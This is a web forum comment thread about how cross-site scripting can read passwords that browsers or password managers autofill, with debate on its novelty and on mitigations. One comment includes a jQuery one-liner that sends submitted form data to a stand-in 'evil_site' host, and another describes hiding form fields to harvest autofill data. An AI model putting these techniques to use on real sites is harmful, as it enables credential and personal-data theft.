5 ms·
XSS + "Save your password" = pwned
- h43z 14y agoI tried to get the saved values of the input type=text tags without xss. It's a pretty messy method and doesn't work very well. http://j.mp/YbLvuK http://j.mp/YbLvuK Any ideas?
- eloisant 14y agotl;dr; XSS is a security hole.
- homakov 14y agotrue! and it happens. but stealing real password is a security HOLE IN FORCE 2
- jerf 14y agoToo glib. In security, you want defense in depth, because what you thought was your perfect perimeter never is. It is fair to discuss whether or not there is anything a browser can do to mitigate this, even in the face of a security violation. Hence things like domain policies on AJAX use... in theory they are never necessary because everybody's perfectly secure, right? I suspect that other's analysis that the proposed solution is impossible is correct, and JS needs access to the prefilled in password for a lot of auth to work. But it's a valid discussion, and is not rendered moot by simply observing that another security violation has already occurred.
- homakov 14y agoupdated the post
- arnoooooo 14y agoHow is this news ?
- cubehouse 14y agoWhat he said. Old, commonly known and previously exploited. Here is how you disable autocomplete on your website: https://developer.mozilla.org/en-US/docs/How_to_Turn_Off_Form_Autocompletion https://developer.mozilla.org/en-US/docs/How_to_Turn_Off_For...
- yuchi 14y agoIf you get xss-ed the last thing you should care about is limiting autocomplete.
- icebraining 14y agoDisabling autocomplete just forces people to write the password manually, which can still be copied. How is that any better?
- homakov 14y agothe cherry here is autofill. no user involved
- 12345j 14y agoI don't see how this is a security hole, unless the website gets hacked in another way. Every time you sign up for an account the website could save your password in plaintext which they could view later. Same thing for signing in, a website could just save the submitted password. If for some reason my logic is flawed, then a lot of information would have to be denied, essentially and operation on a password input. You'd have to disable and .type, .val, and probably a couple of others on password fields.
- herge 14y agoMaybe it's proof that you should host your own version of jQuery instead of trusting, say, the google cdn.
- homakov 14y agoyou didn't get it. i want to deny access to PREFILLED stuff. no user interaction at all
- 12345j 14y agoIf a script wants to gain access to the prefilled stuff it has to come from the website creator unless the website is hacked with sql injection or something like that, which still has the same problem- if they really want your password, on signin the website can just get the password value of the form and save it somewhere,.
- Tichy 14y agoMost websites include a host of javascript from other sites, like Google Analytics, Like-Buttons, Ads, and so on. If they all can get to the password it seems like an issue to me. Personally I am surprised by this. Afaik you can not copy+paste the password from a password form field, so I just somehow assumed you couldn't get to it via JavaScript, either.
- homakov 14y agogood analogy with copy paste
- anonymfus 14y agoThat is one of the main reasons why I use Opera where password is filled only after I press special button.
- homakov 14y agoyou always have to press that button. btw, can you test on opera?
- the_gipsy 14y agoAn attacker could already simply redirect the form or post silently via XHR to gather the password, even if you didn't save your password before. This is not very useful.
- zxcdw 14y agoUseful or not, it's yet another way. Yet another tool in the arsenal. Yet another quirk to worry about.
- icebraining 14y agoThe way is the same: getting rogue JS to run on your page. If the attacker gets that, it doesn't really matter how many ways they have to copy the password.
- homakov 14y agoGood catch, thanks. Changing 'action' param is very useful trick. I guess limitation should restrict action to same domain of current page..
- chrismorgan 14y agoThe suggestion that you should forbid access to the prefilled password from JavaScript just doesn't work and will break many websites. If the form is submitted in the regular way, it will typically work, but any sort of background logging in or AJAX form submission will then fail. And what's so special about what you've saved? XSS is a security hole and so once a script is injected it doesn't really matter whether it's the prefilled password or a password that gets typed in - it's just perhaps slightly more likely to be there. (But then, I wouldn't think people are in the habit of leaving a filled in login form as it is - I at least would be likely to compulsively submit it and log in.)
- deleted 14y ago[deleted]
- homakov 14y agoupdated the post
- foxhill 14y agoi'm using chrome 23 on OS X, and i can't make this work.
- zxcdw 14y agoWorks well with Firefox 17.0 on Arch Linux
- x-sam 14y agoone of the main reasons, that someone could find XSS on your website. Afterwards, he needs just to open an iframe and you may get your password in a plan-text. without any redirects and other hijackings
- deleted 14y ago[deleted]
- nikcub 14y agoThis has been used in the wild in XSS payloads for years now. For eg. check this presentation from Stratsec at EUSecWest '09[0] specifically slide 35 which talks about exploiting password managers. see 'Abusing Password Managers with XSS' from Neohapsis[1] also the Beef project has a module called Get Stored Credentials[2] The reason it was only one slide in the presentation and so little else has been written about it? First, because it is obvious - when learning XSS after cookies and sessions the next thing most devs go at is the password manager. And second, it just isn't as interesting when you have so much more you can do with XSS, and tampering with password managers is a narrow vector. [0] http://www.stratsec.net/getattachment/09ce9a5a-07d2-41ca-8430-3c51a18a59b7/stratsec---EUSecWest-2009---Writing-Better-XSS-Payloads.pdf http://www.stratsec.net/getattachment/09ce9a5a-07d2-41ca-843... [1] http://labs.neohapsis.com/2012/04/25/abusing-password-managers-with-xss/ http://labs.neohapsis.com/2012/04/25/abusing-password-manage... [2] http://beefproject.com/ http://beefproject.com/
- homakov 14y ago>And second, it just isn't as interesting when you have so much more you can do with XSS, and tampering with password managers is a narrow vector. what can be better than GETTING PASSWORD(=full power). I know it was known.
- JimWestergren 14y agoI am happy I don't store any passwords anymore in the browser or even in my computer. All of them (200+) was moved to LastPass. One of the best decisions I have ever made.
- jasonlingx 14y agoThat's what this is talking about, using xss to sniff your lastpass filled password field...
- JimWestergren 14y agoJust tested, you are right. :(
- DanielShir 14y agoThis is nothing new. Once XSS has been exploited the users are already pwned regardless of password policy.
- homakov 14y ago>This is nothing new. Once XSS has been exploited the users are already pwned regardless of password policy. stealing password >> XSS.
- hodgesmr 14y agoThis has nothing to do with pre-filled passwords. Type any text in and click the link in the demo (without POSTing or having the browser save) and it pulls the text out. XSS works on what the field is populated with, whether typed by the user or pre-filled by the browser.
- kaolinite 14y agoAuto-complete is completely irrelevant - you can listen in on the form submit action and you can steal session cookies without having auto-complete so there is little benefit. However, there is another attack involving auto-complete that is less well known and more concerning. You can hide text input fields with CSS with names such as "address", "phonenumber", etc, and when a user goes to auto-complete their email address - it fills in all of their private info that they might not want that website to have.
- michaelmior 14y agoI think the point is that using saved passwords means you don't have to catch the user when logging in, you can grab the password at any time. (Assuming an XSS attack exists of course.)
- kaolinite 14y agoSame goes for session cookies and the 'good thing' about session cookies is that an XSS attack should work anywhere on the domain, rather than just the login page (assuming it's not a website with a login form on each page).
- homakov 14y agomichaelmior is completely right. You don't need xss on login page. You can have xss on any page and open an iframe/window with login and then steal via same origin
- jonnymkramer 14y agoHis suggested fix will break work for sites that use AJAX on the login forms. It is however an interesting vector as it will steal the password without any user interaction or knowledge.
- homakov 14y ago>His suggested fix will break work for sites that use AJAX on the login forms. I forgot about AJAX, I was wrong. >It is however an interesting vector as it will steal the password without any user interaction or knowledge. I am trying to say it here.
- hippich 14y agoWhat I think might be interesting hack against it - to have browser to fill incorrect information. This way it might prevent script from grabbing correct login/password, unless hacker do it right and send password on each onkeyup event :)
- MindTwister 14y agoThis is a non-story, if I'm able to execute script on your site I don't have to wait for the password manager... $('form').submit(function(){ $.get('evil_site' + $(this).serialize()) }); (Sorry for jQuery). But who cares... let the user log in by himself and let him do the bad stuff. $('textarea.comments').val("You smell"); $('form').submit();
- alptrv 14y agoI think you need to update your post with the clarification that you don't have to add XSS directly to the login page - you can steal user's password from whatever page the user are currently in, even if they are already logged in.
- homakov 14y agothat's right. i thought it's obvious - will update